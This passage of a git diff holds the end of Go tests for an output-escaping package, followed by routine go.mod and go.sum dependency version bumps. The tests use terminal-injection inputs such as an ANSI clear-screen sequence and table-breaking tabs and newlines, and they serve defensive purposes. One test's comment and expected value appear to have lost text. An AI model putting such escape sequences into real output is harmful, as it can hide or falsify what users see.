and a newline ends the row, so a + // node choosing either rewrites the shape of the table around it. + assert.Equal(t, `a\x09b\x0ac`, safeout.Cell("a\tb\nc")) + assert.Equal(t, "a\tb\nc", safeout.String("a\tb\nc")) + assert.Equal(t, "plain value", safeout.Cell("plain value")) + assert.Equal(t, `\x1b[2Jwiped`, safeout.Cell("\x1b[2Jwiped")) +} + +// TestNoControlRunesSurvive asserts the property the advisory is about directly, +// rather than through golden strings. +func TestNoControlRunesSurvive(t *testing.T) { + t.Parallel() + + var all strings.Builder + + for _, tc := range payloads { + all.WriteString(tc.in) + } + + for _, out := range []string{safeout.String(all.String()), safeout.Cell(all.String())} { + for _, r := range out { + assert.True(t, r == '\n' || r == '\t' || unicode.IsPrint(r), "rune %U reached the terminal", r) + } + } +} + +type nilError struct { + msg string +} + +func (e *nilError) Error() string { return e.msg } + +func TestFprintfEscapesArguments(t *testing.T) { + t.Parallel() + + var buf bytes.Buffer + + args := []any{"a\tb", errors.New("\x1b[2Jwiped"), 42} + + _, err := safeout.Fprintf(&buf, "%s|%s|%d\n", args...) + require.NoError(t, err) + + assert.Equal(t, `a\x09b|\x1b[2Jwiped|42`+"\n", buf.String()) + // the caller keeps ownership of a slice passed with args... + assert.Equal(t, "a\tb", args[0]) +} + +func TestFprintfTypedNilError(t *testing.T) { + t.Parallel() + + var ( + buf bytes.Buffer + e *nilError + ) + + // a nil pointer with an Error method whose receiver it dereferences: fmt + // renders it as , and neither may this panic. + _, err := safeout.Fprintf(&buf, "%s\n", error(e)) + require.NoError(t, err) + + assert.Equal(t, "\n", buf.String()) +} diff --git a/go.mod b/go.mod index b3b736bd6e7..4d087fe944e 100644 --- a/go.mod +++ b/go.mod @@ -24,18 +24,18 @@ replace ( // Kubernetes dependencies sharing the same version. require ( - k8s.io/api v0.37.0-rc.1 - k8s.io/apiextensions-apiserver v0.37.0-rc.1 - k8s.io/apimachinery v0.37.0-rc.1 - k8s.io/apiserver v0.37.0-rc.1 - k8s.io/client-go v0.37.0-rc.1 - k8s.io/component-base v0.37.0-rc.1 - k8s.io/cri-api v0.37.0-rc.1 - k8s.io/kube-proxy v0.37.0-rc.1 - k8s.io/kube-scheduler v0.37.0-rc.1 - k8s.io/kubectl v0.37.0-rc.1 - k8s.io/kubelet v0.37.0-rc.1 - k8s.io/pod-security-admission v0.37.0-rc.1 + k8s.io/api v0.37.0 + k8s.io/apiextensions-apiserver v0.37.0 + k8s.io/apimachinery v0.37.0 + k8s.io/apiserver v0.37.0 + k8s.io/client-go v0.37.0 + k8s.io/component-base v0.37.0 + k8s.io/cri-api v0.37.0 + k8s.io/kube-proxy v0.37.0 + k8s.io/kube-scheduler v0.37.0 + k8s.io/kubectl v0.37.0 + k8s.io/kubelet v0.37.0 + k8s.io/pod-security-admission v0.37.0 ) require ( @@ -58,7 +58,7 @@ require ( github.com/cenkalti/backoff/v4 v4.3.0 github.com/containerd/cgroups/v3 v3.1.3 github.com/containerd/containerd/api v1.11.1 - github.com/containerd/containerd/v2 v2.3.3 + github.com/containerd/containerd/v2 v2.3.4 github.com/containerd/errdefs v1.0.0 github.com/containerd/log v0.1.0 github.com/containerd/platforms v1.0.0-rc.4 @@ -67,7 +67,7 @@ require ( github.com/containernetworking/plugins v1.9.1 github.com/coredns/coredns v1.14.6 github.com/coreos/go-iptables v0.8.0 - github.com/cosi-project/runtime v1.16.2 + github.com/cosi-project/runtime v1.16.3 github.com/detailyang/go-fallocate v0.0.0-20180908115635-432fa640bd2e github.com/distribution/reference v0.6.0 github.com/docker/cli v29.7.2+incompatible @@ -169,7 +169,7 @@ require ( github.com/sirupsen/logrus v1.9.4 github.com/spf13/cobra v1.10.2 github.com/spf13/pflag v1.0.10 - github.com/stretchr/testify v1.11.1 + github.com/stretchr/testify v1.12.1 github.com/thejerf/suture/v4 v4.0.6 github.com/theupdateframework/go-tuf/v2 v2.4.2 github.com/u-root/u-root v0.16.0 @@ -192,7 +192,7 @@ require ( golang.org/x/text v0.41.0 golang.org/x/time v0.15.0 golang.zx2c4.com/wireguard/wgctrl v0.0.0-20241231184526-a9ab2273dd10 - google.golang.org/grpc v1.83.0 + google.golang.org/grpc v1.83.2 google.golang.org/protobuf v1.36.12 gopkg.in/typ.v4 v4.4.0 k8s.io/klog/v2 v2.140.0 @@ -233,7 +233,6 @@ require ( github.com/aws/aws-sdk-go-v2/service/sts v1.45.4 // indirect github.com/beorn7/perks v1.0.1 // indirect github.com/bgentry/go-netrc v0.0.0-20140422174119-9fd32a8b3d3d // indirect - github.com/blang/semver v3.5.1+incompatible // indirect github.com/cenkalti/backoff/v5 v5.0.3 // indirect github.com/cespare/xxhash/v2 v2.3.0 // indirect github.com/chai2010/gettext-go v1.0.3 // indirect @@ -276,28 +275,28 @@ require ( github.com/go-jose/go-jose/v4 v4.1.4 // indirect github.com/go-logr/logr v1.4.4 // indirect github.com/go-logr/stdr v1.2.2 // indirect - github.com/go-openapi/analysis v0.25.5 // indirect + github.com/go-openapi/analysis v0.26.0 // indirect github.com/go-openapi/errors v0.22.8 // indirect github.com/go-openapi/jsonpointer v1.0.0 // indirect github.com/go-openapi/jsonreference v1.0.0 // indirect - github.com/go-openapi/loads v0.25.0 // indirect + github.com/go-openapi/loads v0.25.1 // indirect github.com/go-openapi/runtime v0.33.0 // indirect github.com/go-openapi/runtime/server-middleware v0.32.4 // indirect github.com/go-openapi/spec v0.22.9 // indirect github.com/go-openapi/strfmt v0.27.0 // indirect - github.com/go-openapi/swag v0.27.1 // indirect - github.com/go-openapi/swag/cmdutils v0.27.1 // indirect - github.com/go-openapi/swag/conv v0.27.3 // indirect - github.com/go-openapi/swag/fileutils v0.27.3 // indirect - github.com/go-openapi/swag/jsonutils v0.27.3 // indirect - github.com/go-openapi/swag/loading v0.27.3 // indirect - github.com/go-openapi/swag/mangling v0.27.3 // indirect - github.com/go-openapi/swag/netutils v0.27.1 // indirect - github.com/go-openapi/swag/pools v0.27.3 // indirect - github.com/go-openapi/swag/stringutils v0.27.3 // indirect - github.com/go-openapi/swag/typeutils v0.27.3 // indirect - github.com/go-openapi/swag/yamlutils v0.27.3 // indirect - github.com/go-openapi/validate v0.26.1 // indirect + github.com/go-openapi/swag v0.28.0 // indirect + github.com/go-openapi/swag/cmdutils v0.28.0 // indirect + github.com/go-openapi/swag/conv v0.28.0 // indirect + github.com/go-openapi/swag/fileutils v0.28.0 // indirect + github.com/go-openapi/swag/jsonutils v0.28.0 // indirect + github.com/go-openapi/swag/loading v0.28.0 // indirect + github.com/go-openapi/swag/mangling v0.28.0 // indirect + github.com/go-openapi/swag/netutils v0.28.0 // indirect + github.com/go-openapi/swag/pools v0.28.0 // indirect + github.com/go-openapi/swag/stringutils v0.28.0 // indirect + github.com/go-openapi/swag/typeutils v0.28.0 // indirect + github.com/go-openapi/swag/yamlutils v0.28.0 // indirect + github.com/go-openapi/validate v0.26.3 // indirect github.com/go-resty/resty/v2 v2.17.2 // indirect github.com/go-viper/mapstructure/v2 v2.5.0 // indirect github.com/golang-jwt/jwt/v5 v5.3.1 // indirect @@ -310,7 +309,7 @@ require ( github.com/google/go-cmp v0.7.0 // indirect github.com/gorilla/websocket v1.5.4-0.20250319132907-e064f32e3674 // indirect github.com/gosuri/uilive v0.0.4 // indirect - github.com/grpc-ecosystem/grpc-gateway/v2 v2.29.0 // indirect + github.com/grpc-ecosystem/grpc-gateway/v2 v2.30.0 // indirect github.com/hashicorp/errwrap v1.1.0 // indirect github.com/hashicorp/go-retryablehttp v0.7.8 // indirect github.com/hashicorp/go-safetemp v1.0.0 // indirect @@ -359,14 +358,14 @@ require ( github.com/pkg/browser v0.0.0-20240102092130-5ac0b6a4141c // indirect github.com/pkg/errors v0.9.1 // indirect github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2 // indirect - github.com/prometheus/client_golang v1.24.0 // indirect + github.com/prometheus/client_golang v1.24.1 // indirect github.com/prometheus/client_model v0.6.2 // indirect - github.com/prometheus/common v0.70.0 // indirect + github.com/prometheus/common v0.70.1 // indirect github.com/rivo/uniseg v0.4.7 // indirect github.com/russross/blackfriday/v2 v2.1.0 // indirect github.com/sagikazarmark/locafero v0.11.0 // indirect github.com/sasha-s/go-deadlock v0.3.9 // indirect - github.com/sassoftware/relic v7.2.1+incompatible // indirect + github.com/sassoftware/relic/v8 v8.2.0 // indirect github.com/secure-io/siv-go v0.0.0-20180922214919-5ff40651e2c4 // indirect github.com/secure-systems-lab/go-securesystemslib v0.11.0 // indirect github.com/segmentio/fasthash v1.0.3 // indirect @@ -375,7 +374,7 @@ require ( github.com/siderolabs/protoenc v0.2.4 // indirect github.com/siderolabs/tcpproxy v0.1.0 // indirect github.com/sigstore/protobuf-specs v0.5.1 // indirect - github.com/sigstore/rekor v1.5.3 // indirect + github.com/sigstore/rekor v1.5.4 // indirect github.com/sigstore/rekor-tiles/v2 v2.3.0 // indirect github.com/sigstore/timestamp-authority/v2 v2.1.3 // indirect github.com/sourcegraph/conc v0.3.1-0.20240121214520-5f936abd7ae8 // indirect @@ -406,14 +405,14 @@ require ( go.etcd.io/raft/v3 v3.7.0 // indirect go.opencensus.io v0.24.0 // indirect go.opentelemetry.io/auto/sdk v1.2.1 // indirect - go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.69.0 // indirect - go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.69.0 // indirect - go.opentelemetry.io/otel v1.44.0 // indirect - go.opentelemetry.io/otel/metric v1.44.0 // indirect - go.opentelemetry.io/otel/trace v1.44.0 // indirect + go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.70.0 // indirect + go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.70.0 // indirect + go.opentelemetry.io/otel v1.45.0 // indirect + go.opentelemetry.io/otel/metric v1.45.0 // indirect + go.opentelemetry.io/otel/trace v1.45.0 // indirect go.uber.org/multierr v1.11.0 // indirect go.yaml.in/yaml/v2 v2.4.4 // indirect - go.yaml.in/yaml/v3 v3.0.4 // indirect + go.yaml.in/yaml/v3 v3.0.5 // indirect golang.org/x/crypto v0.55.0 // indirect golang.org/x/exp v0.0.0-20260709172345-9ea1abe57597 // indirect golang.org/x/mod v0.40.0 // indirect @@ -426,9 +425,9 @@ require ( gopkg.in/inf.v0 v0.9.1 // indirect gopkg.in/yaml.v2 v2.4.0 // indirect gopkg.in/yaml.v3 v3.0.1 // indirect - k8s.io/cli-runtime v0.37.0-rc.1 // indirect + k8s.io/cli-runtime v0.37.0 // indirect k8s.io/kube-openapi v0.0.0-20260721132016-d427ff9ee9ad // indirect - k8s.io/streaming v0.37.0-rc.1 // indirect + k8s.io/streaming v0.37.0 // indirect k8s.io/utils v0.0.0-20260707023825-cf1189d6abe3 // indirect kernel.org/pub/linux/libs/security/libcap/psx v1.2.78 // indirect rsc.io/qr v0.2.0 // indirect diff --git a/go.sum b/go.sum index eae246a5134..b96fa8a6862 100644 --- a/go.sum +++ b/go.sum @@ -11,12 +11,12 @@ cloud.google.com/go/auth/oauth2adapt v0.2.8 h1:keo8NaayQZ6wimpNSmW5OPc283g65QNIi cloud.google.com/go/auth/oauth2adapt v0.2.8/go.mod h1:XQ9y31RkqZCcwJWNSx2Xvric3RrU88hAYYbjDWYDL+c= cloud.google.com/go/compute/metadata v0.9.0 h1:pDUj4QMoPejqq20dK0Pg2N4yG9zIkYGdBtwLoEkH9Zs= cloud.google.com/go/compute/metadata v0.9.0/go.mod h1:E0bWwX5wTnLPedCKqk3pJmVgCBSM6qQI1yTBdEb3C10= -cloud.google.com/go/iam v1.11.0 h1:KieQ9Pb+LLPak1O3Rv3GgCxhnmkYf7Xyh0P5HfF1jFM= -cloud.google.com/go/iam v1.11.0/go.mod h1:KP+nKGugNJW4LcLx1uEZcq1ok5sQHFaQehQNl4QDgV4= -cloud.google.com/go/kms v1.31.0 h1:LS8N92OxFDgOLg5NCo3OmbvjtQAIVT5gUHVLKIDHaFE= -cloud.google.com/go/kms v1.31.0/go.mod h1:YIyXZym11R5uovJJt4oN5eUL3oPmirF3yKeIh6QAf4U= -cloud.google.com/go/longrunning v1.0.0 h1:lwzWEYD8+NkYV7dhexOz6kmlvajZA70+bW/xMhRVVdY= -cloud.google.com/go/longrunning v1.0.0/go.mod h1:8nqFBPOO1U/XkhWl0I19AMZEphrHi73VNABIpKYaTwM= +cloud.google.com/go/iam v1.13.0 h1:ufT3FPT5rFFXu6UtLkNoxaOaV5EuA1dsSkmemCSTo6U= +cloud.google.com/go/iam v1.13.0/go.mod h1:gHXdDEiPDvqd1q1KwBDGQlgZY/BwY760zU2LhOZS5w0= +cloud.google.com/go/kms v1.33.0 h1:pG0X78m212b2pv9N4fdMoUO69LuZGQ9kSvn8sHBOFAo= +cloud.google.com/go/kms v1.33.0/go.mod h1:CSGvW6GnMQbY+1nOHcIzhMtHSbExXlOmCKjWtYVjcpA= +cloud.google.com/go/longrunning v1.2.0 h1:WjYH3YHBGCxGJP9M4dWGHBfXr/cFIjMkNgWcJj7/iMM= +cloud.google.com/go/longrunning v1.2.0/go.mod h1:5KMQALFGOCtFoi2xSOA1u3H7WKlhmckgiyFw7+LGQp0= codeberg.org/miekg/dns v0.6.90 h1:Trqn1KlkSsjWz3bJ6Q2/bfymmPwdfBZDQm2MCiN3Gog= codeberg.org/miekg/dns v0.6.90/go.mod h1:58Y3ZTg6Z5ZEm/ZAAwHehbZfrD4u5mE4RByHoPEMyKk= filippo.io/age v1.3.1 h1:hbzdQOJkuaMEpRCLSN1/C5DX74RPcNCk6oqhKMXmZi0= @@ -123,8 +123,6 @@ github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM= github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw= github.com/bgentry/go-netrc v0.0.0-20140422174119-9fd32a8b3d3d h1:xDfNPAt8lFiC1UJrqV3uuy861HCTo708pDMbjHHdCas= github.com/bgentry/go-netrc v0.0.0-20140422174119-9fd32a8b3d3d/go.mod h1:6QX/PXZ00z/TKoufEY6K/a0k6AhaJrQKdFe6OfVXsa4= -github.com/blang/semver v3.5.1+incompatible h1:cQNTCjp13qL8KC3Nbxr/y2Bqb63oX6wdnnjpJbkM4JQ= -github.com/blang/semver v3.5.1+incompatible/go.mod h1:kRBLl5iJ+tD4TcOOxsy/0fnwebNt5EWlYSAyrTnjyyk= github.com/blang/semver/v4 v4.0.0 h1:1PFHFE6yCCTv8C1TeyNNarDzntLi7wMI5i/pzqYIsAM= github.com/blang/semver/v4 v4.0.0/go.mod h1:IbckMUScFkM3pff0VJDNKRiT6TG/YpiHIM2yvyW5YoQ= github.com/brianvoe/gofakeit/v7 v7.7.3 h1:RWOATEGpJ5EVg2nN8nlaEyaV/aB4d6c3GqYrbqQekss= @@ -158,8 +156,8 @@ github.com/containerd/cgroups/v3 v3.1.3 h1:eUNflyMddm18+yrDmZPn3jI7C5hJ9ahABE5q6 github.com/containerd/cgroups/v3 v3.1.3/go.mod h1:PKZ2AcWmSBsY/tJUVhtS/rluX0b1uq1GmPO1ElCmbOw= github.com/containerd/containerd/api v1.11.1 h1:h8nfoDW9+fNsC/9TwiAHj8B1GzXKtR4eFtkhi/X5RLU= github.com/containerd/containerd/api v1.11.1/go.mod h1:CaQFRu+N1MtbgL6JDOJLUB1hCKESU1lD6MuTJhgtdlw= -github.com/containerd/containerd/v2 v2.3.3 h1:MUNBVVBTBpPll7KPh5GTvkC3cfG03PQLAHVdsUoue9k= -github.com/containerd/containerd/v2 v2.3.3/go.mod h1:rHKGm3VW6wNrINb3x8mNT+w7qYXFVElTt/8HTuxVhD4= +github.com/containerd/containerd/v2 v2.3.4 h1:c2PJo/9UGVdiiw8SwrxuLxWGY+9b3jQ6Xp9zntneIvI= +github.com/containerd/containerd/v2 v2.3.4/go.mod h1:a30D8fWZJ1Uzx/2WpjLbLsxBkq9He41pe8ENW+QZ3LY= github.com/containerd/continuity v0.5.0 h1:7a85HZpCSs+1Zps0Ee3DPSuAWY+0SJM1JNM51nlEVDg= github.com/containerd/continuity v0.5.0/go.mod h1:/lNJvtJKUQStBzpVQ1+rasXO1LAWtUQssk28EZvJ3nE= github.com/containerd/errdefs v1.0.0 h1:tg5yIfIlQIrxYtu9ajqY42W3lpS19XqdxRQeEwYG8PI= @@ -194,8 +192,8 @@ github.com/coreos/go-semver v0.3.1 h1:yi21YpKnrx1gt5R+la8n5WgS0kCrsPp33dmEyHReZr github.com/coreos/go-semver v0.3.1/go.mod h1:irMmmIw/7yzSRPWryHsK7EYSg09caPQL03VsM8rvUec= github.com/coreos/go-systemd/v22 v22.7.0 h1:LAEzFkke61DFROc7zNLX/WA2i5J8gYqe0rSj9KI28KA= github.com/coreos/go-systemd/v22 v22.7.0/go.mod h1:xNUYtjHu2EDXbsxz1i41wouACIwT7Ybq9o0BQhMwD0w= -github.com/cosi-project/runtime v1.16.2 h1:sgjOMrnaElrja93kkJJJIQYwd45PhpGl9cBci9yqn5c= -github.com/cosi-project/runtime v1.16.2/go.mod h1:+GrSnmJjMfWMe6NubevwwXQf/v7afddDLeCbLonvvps= +github.com/cosi-project/runtime v1.16.3 h1:EQ1oubPjAVPnAFc5GhSGfHuiPcm8b2g2XsPnpl+Wq0g= +github.com/cosi-project/runtime v1.16.3/go.mod h1:p3nyBuIqeipcfQHuM9uGjLkFN2gYA9GJFL4oSEEtmm0= github.com/cpuguy83/go-md2man/v2 v2.0.6/go.mod h1:oOW0eioCTA6cOiMLiUPZOpcVxMig6NIQQ7OS05n1F4g= github.com/cpuguy83/go-md2man/v2 v2.0.7 h1:zbFlGlXEAKlwXpmvle3d8Oe3YnkKIK4xSRTd3sHPnBo= github.com/cpuguy83/go-md2man/v2 v2.0.7/go.mod h1:oOW0eioCTA6cOiMLiUPZOpcVxMig6NIQQ7OS05n1F4g= @@ -313,16 +311,16 @@ github.com/go-logr/stdr v1.2.2 h1:hSWxHoqTgW2S2qGc0LTAI563KZ5YKYRhT3MFKZMbjag= github.com/go-logr/stdr v1.2.2/go.mod h1:mMo/vtBO5dYbehREoey6XUKy/eSumjCCveDpRre4VKE= github.com/go-logr/zapr v1.3.0 h1:XGdV8XW8zdwFiwOA2Dryh1gj2KRQyOOoNmBy4EplIcQ= github.com/go-logr/zapr v1.3.0/go.mod h1:YKepepNBd1u/oyhd/yQmtjVXmm9uML4IXUgMOwR8/Gg= -github.com/go-openapi/analysis v0.25.5 h1:xPYEvTb90o1y0epuiOPAoG4QqahjP3cdp5xNlHeKJRI= -github.com/go-openapi/analysis v0.25.5/go.mod h1:d3UGtQC5uq5Kqqqis2VH09Km/v3vwsWrYkbp4gdm+Rc= +github.com/go-openapi/analysis v0.26.0 h1:1xECln1iMMmQnTjgcknC1vi1hA4KISt6IHpSwnqcuwI= +github.com/go-openapi/analysis v0.26.0/go.mod h1:40gERFi/2dyXA1FaqRRLxkv1IlC6X+GPDNd1xrYAjZE= github.com/go-openapi/errors v0.22.8 h1:oP7sW7TWc3wFFjrzzj0nI83H2qMBkNjNfSd+XRejk/I= github.com/go-openapi/errors v0.22.8/go.mod h1:BuUoHcYrU6E7V9gfj1I5wLQqgtIHnup/alXZ8KdgQ0w= github.com/go-openapi/jsonpointer v1.0.0 h1:kR9tHqY0CtZaOPVFm622dPVNhrvYpwr4uCxgL3h1H8s= github.com/go-openapi/jsonpointer v1.0.0/go.mod h1:Z3rw7dWu1p9IgitXCFamSlA5lmDiklEB6vkaxcNZW5Y= github.com/go-openapi/jsonreference v1.0.0 h1:jlmTr6torcd1YgDQvSfNmRtKzYDO4FGBkrAdlAVWnpY= github.com/go-openapi/jsonreference v1.0.0/go.mod h1:jtwdyGbJk0Xhe5Y+rwtglQP6Sb1WZST4rT32LWB+sv0= -github.com/go-openapi/loads v0.25.0 h1:74Bc2snfaVlsHzwdQj/3gsA9XJz3daXTJVs+4ZaK7jI= -github.com/go-openapi/loads v0.25.0/go.mod h1:JFBw4SIB9+PTIFHDfcXuSSy5h6aWzjtUCrPYyx3qWU8= +github.com/go-openapi/loads v0.25.1 h1:toKQdIDLxlqfKLLGUUmUsiTd5/X0Chzvde9EGYQP/Ac= +github.com/go-openapi/loads v0.25.1/go.mod h1:33Hen4tsKXHL45TyYojvfD5fZUFN4O1y4r/XhsRW2zc= github.com/go-openapi/runtime v0.33.0 h1:Dd3Oj2ig+WH8ckK95l0Wn2V8a4bH/UqWPRZVT0vc8yU= github.com/go-openapi/runtime v0.33.0/go.mod h1:+rsupH3+TFKqmFysqkmgBOTxpVJV8eV+j9myvvea2Xw= github.com/go-openapi/runtime/server-middleware v0.32.4 h1:AU6eLMq9CXwh8f6kC1pivtkz+7lfo3TmakMBbUisKME= @@ -331,38 +329,38 @@ github.com/go-openapi/spec v0.22.9 h1:/vKIFDcGKp0ktZWGbym/tJEWbk6/XOEmAVU0kqKMH+ github.com/go-openapi/spec v0.22.9/go.mod h1:b/mNUYIOQOyIiUzUzXEE8xzyZqf93KvM9hQGP91yfl0= github.com/go-openapi/strfmt v0.27.0 h1:kbcTeaD9TXuXD0hhMXzuYa1sdTo6+dWGvwjW93E80IM= github.com/go-openapi/strfmt v0.27.0/go.mod h1:s/qhDqfY72irigXUGJmtgid2Rm+3tnz3k8hZaRmvWYc= -github.com/go-openapi/swag v0.27.1 h1:VotvOLWW8q/EAxB0YdsBBGC8XYyeL1YwBj2ungAGPNg= -github.com/go-openapi/swag v0.27.1/go.mod h1:GTkJPwHfhJp6MWr4/rCh64HVI3Ofu+tcsbfjfHmTxpE= -github.com/go-openapi/swag/cmdutils v0.27.1 h1:I7sYqaWVl5mq0NEmNQkAmFDyNin9ufvMX/p2zwtQaOE= -github.com/go-openapi/swag/cmdutils v0.27.1/go.mod h1:Sm1MVFMkF6guJJ+pQqHnQA3N0j9qALV3NxzDSv6bETM= -github.com/go-openapi/swag/conv v0.27.3 h1:iqJFmGEjmX3AY0lSszABFqRVqOSt99XS0LzNIMJYuhU= -github.com/go-openapi/swag/conv v0.27.3/go.mod h1:nPRmN6jgNme99hpf+nM0auDZGALWIqlwhisKPK/bQhQ= -github.com/go-openapi/swag/fileutils v0.27.3 h1:3UVoZ2RLaIs1lt+2jcKzL8RM3Yk0rmsDE9FLA/HGxFE= -github.com/go-openapi/swag/fileutils v0.27.3/go.mod h1:VvJFZLTZS0AI854gEQz5tk7dBESdLjiNUMSZ/th2ry8= -github.com/go-openapi/swag/jsonutils v0.27.3 h1:1DEz+O82frtSMBcos/7XIn1GnpNTbsD4Bru4Dc/uhRc= -github.com/go-openapi/swag/jsonutils v0.27.3/go.mod h1:qiDCoQvzkMxrV3G8FLEdIU5L+EFYc0zcDOHWT3Yofvo= -github.com/go-openapi/swag/jsonutils/fixtures_test v0.27.3 h1:h/eT9kmGCDdFLJF29lOhzLtF0FmP1AX2MhLJWVebsb8= -github.com/go-openapi/swag/jsonutils/fixtures_test v0.27.3/go.mod h1:mofwUWx70wvskwESqRJ//k/9kURmCgyJl5m5Ppoh5kY= -github.com/go-openapi/swag/loading v0.27.3 h1:L9nQkEgzU7QgFQL+pLEMfGUKxeM4pWwGwbET9Z3weW0= -github.com/go-openapi/swag/loading v0.27.3/go.mod h1:rJ0NeaKsF4CVPnMGjPQl7JlSHzvD0bc2DKXLss1hiuE= -github.com/go-openapi/swag/mangling v0.27.3 h1:gRzzD1PAUoLTtGMgI3KpBmCSOlTuLTFWnviLxLcTnyg= -github.com/go-openapi/swag/mangling v0.27.3/go.mod h1:jtBE2+V+3pILxOR7Vgce+Cwp6A2PgZbvVqfNntbVs0w= -github.com/go-openapi/swag/netutils v0.27.1 h1:mICMFoS82F5TZ4Zy3cqmcQk+BFeCp3Uyq3Np7GI0/qU= -github.com/go-openapi/swag/netutils v0.27.1/go.mod h1:J+WYyFMLtvtCGqa6jLv+YNUmIKI3ZRQRrvfNDMoQoEQ= -github.com/go-openapi/swag/pools v0.27.3 h1:gXjImP3F6/56wRRcFgEPld084Y6u2gs21ikPBt8NKBk= -github.com/go-openapi/swag/pools v0.27.3/go.mod h1:kVQefhSK5RWuRe7BXsL8htgBPAMpN7HDGpGEknqugeE= -github.com/go-openapi/swag/stringutils v0.27.3 h1:Ru28hnbAvN5wycALQYy8IobHvASq+FUFMlp1QzLM0JI= -github.com/go-openapi/swag/stringutils v0.27.3/go.mod h1:lzRN95CxXmA03XcDWHLOb6nOMcxCqR5rGY0lOgsfRoM= -github.com/go-openapi/swag/typeutils v0.27.3 h1:l6SSrx5eR5/WVwrGNzN6bQ9WqL04mrxNBl9YgQ3rcJ4= -github.com/go-openapi/swag/typeutils v0.27.3/go.mod h1:Srm0xFNRZ1Y+vCxJclo5qzx8aj+1pAKda/YfFPrG0dQ= -github.com/go-openapi/swag/yamlutils v0.27.3 h1:cRFCAoYtslYn9L9T0xWryHy1t7c1MACC+DMj3CLvwvs= -github.com/go-openapi/swag/yamlutils v0.27.3/go.mod h1:6JYBGj8sw/NawMllyZY+cTA8Mzk2etS3ZBASdcyPsiU= +github.com/go-openapi/swag v0.28.0 h1:xkgbOSKj6DZziNpyqRRAOt3GJGtgjgsd2RoyT30VWuw= +github.com/go-openapi/swag v0.28.0/go.mod h1:4qYnT3Cqr1p1VknOdPo70evN4rgQnAg6jwApHyxSGIg= +github.com/go-openapi/swag/cmdutils v0.28.0 h1:7TOeNtkYru1SG8Y34tDh9WBbLsMqGnptuxWiHREPZ4Q= +github.com/go-openapi/swag/cmdutils v0.28.0/go.mod h1:Sm1MVFMkF6guJJ+pQqHnQA3N0j9qALV3NxzDSv6bETM= +github.com/go-openapi/swag/conv v0.28.0 h1:GtqqbyFe7vR5Y7ehxG9W6/OvrSFdf1OLeTGp40TqxH8= +github.com/go-openapi/swag/conv v0.28.0/go.mod h1:mbUE+mzctnhxi864m0Q07SpN8OowD9JhxmxuYvZZD/k= +github.com/go-openapi/swag/fileutils v0.28.0 h1:Z04XWQD7R8Eq+7GnOrjovBxPPmZzsS4gt2H2GPGIViU= +github.com/go-openapi/swag/fileutils v0.28.0/go.mod h1:VvJFZLTZS0AI854gEQz5tk7dBESdLjiNUMSZ/th2ry8= +github.com/go-openapi/swag/jsonutils v0.28.0 h1:YIch6FwO7RXzeAnbO8Tu7dWBZeUEH+4nA0HXltVTnv4= +github.com/go-openapi/swag/jsonutils v0.28.0/go.mod h1:CYM3WlTUcagR2ZoHdz54di/cbBqt82tuxuXgAjxw+mg= +github.com/go-openapi/swag/jsonutils/fixtures_test v0.28.0 h1:qV+VVUAx5Oro8WjVWpZeql7YReTKhT4smR4zhcOQZr0= +github.com/go-openapi/swag/jsonutils/fixtures_test v0.28.0/go.mod h1:mofwUWx70wvskwESqRJ//k/9kURmCgyJl5m5Ppoh5kY= +github.com/go-openapi/swag/loading v0.28.0 h1:td8QZdZC9MIYGGSnSPKShKiK22I2tU5UQvuUhIBPRLU= +github.com/go-openapi/swag/loading v0.28.0/go.mod h1:rXB0QiQX5mMveXEA7ouM4KiiM9jVJe4K6BVbwhD1M4k= +github.com/go-openapi/swag/mangling v0.28.0 h1:pH8eyeNO9SLYsTMWJrurnNfKmDa28XrlA+HePVD53VM= +github.com/go-openapi/swag/mangling v0.28.0/go.mod h1:jtBE2+V+3pILxOR7Vgce+Cwp6A2PgZbvVqfNntbVs0w= +github.com/go-openapi/swag/netutils v0.28.0 h1:YXN6TALEi2pzts8/8GNm6T61HTAZsieukGZidap989k= +github.com/go-openapi/swag/netutils v0.28.0/go.mod h1:J+WYyFMLtvtCGqa6jLv+YNUmIKI3ZRQRrvfNDMoQoEQ= +github.com/go-openapi/swag/pools v0.28.0 h1:HPMZWSAfce3rdVTFcjFiCIBtDg9h4x2QlRrHipwhxeU= +github.com/go-openapi/swag/pools v0.28.0/go.mod h1:kVQefhSK5RWuRe7BXsL8htgBPAMpN7HDGpGEknqugeE= +github.com/go-openapi/swag/stringutils v0.28.0 h1:ixsc9iYgDPubHL/8nSkbnryEHpD2VRlBMLKpQyPXcDU= +github.com/go-openapi/swag/stringutils v0.28.0/go.mod h1:lzRN95CxXmA03XcDWHLOb6nOMcxCqR5rGY0lOgsfRoM= +github.com/go-openapi/swag/typeutils v0.28.0 h1:nRBKSBXjDgf01VDPB3fWeD9nQuhCOVeIYAkUx2tbkyY= +github.com/go-openapi/swag/typeutils v0.28.0/go.mod h1:Srm0xFNRZ1Y+vCxJclo5qzx8aj+1pAKda/YfFPrG0dQ= +github.com/go-openapi/swag/yamlutils v0.28.0 h1:TV3JXH6DS46KUroDtMLAYHGkdWf5VDq3wVWFirmzROY= +github.com/go-openapi/swag/yamlutils v0.28.0/go.mod h1:x0q/yndZHEgk9Rx3DyDqzFUmHy55KTvIZldvF2dTJXs= github.com/go-openapi/testify/enable/yaml/v2 v2.6.0 h1:gGHwAJ0R/5jU8BEGDbfRNR3hL68dAVi84WuOApp29B0= github.com/go-openapi/testify/enable/yaml/v2 v2.6.0/go.mod h1:tY+St1SGq4NFl0QIqdTY4aEdbChAHxhyB77XQi9iJCo= github.com/go-openapi/testify/v2 v2.6.0 h1:5PKH2HE7YJ/LuRPQGvSxBRlFXNQhSetBLlGAgUEu3ug= github.com/go-openapi/testify/v2 v2.6.0/go.mod h1:SgsVHtfooshd0tublTtJ50FPKhujf47YRqauXXOUxfw= -github.com/go-openapi/validate v0.26.1 h1:pZSbvtRO8G2R2FpWTYRn3w8LrsNwbtaVhP2dWiBa0Us= -github.com/go-openapi/validate v0.26.1/go.mod h1:B8UMgXiQiwwQWIbmuROlwJZDPGlikPuh7iHV1vPX9Oo= +github.com/go-openapi/validate v0.26.3 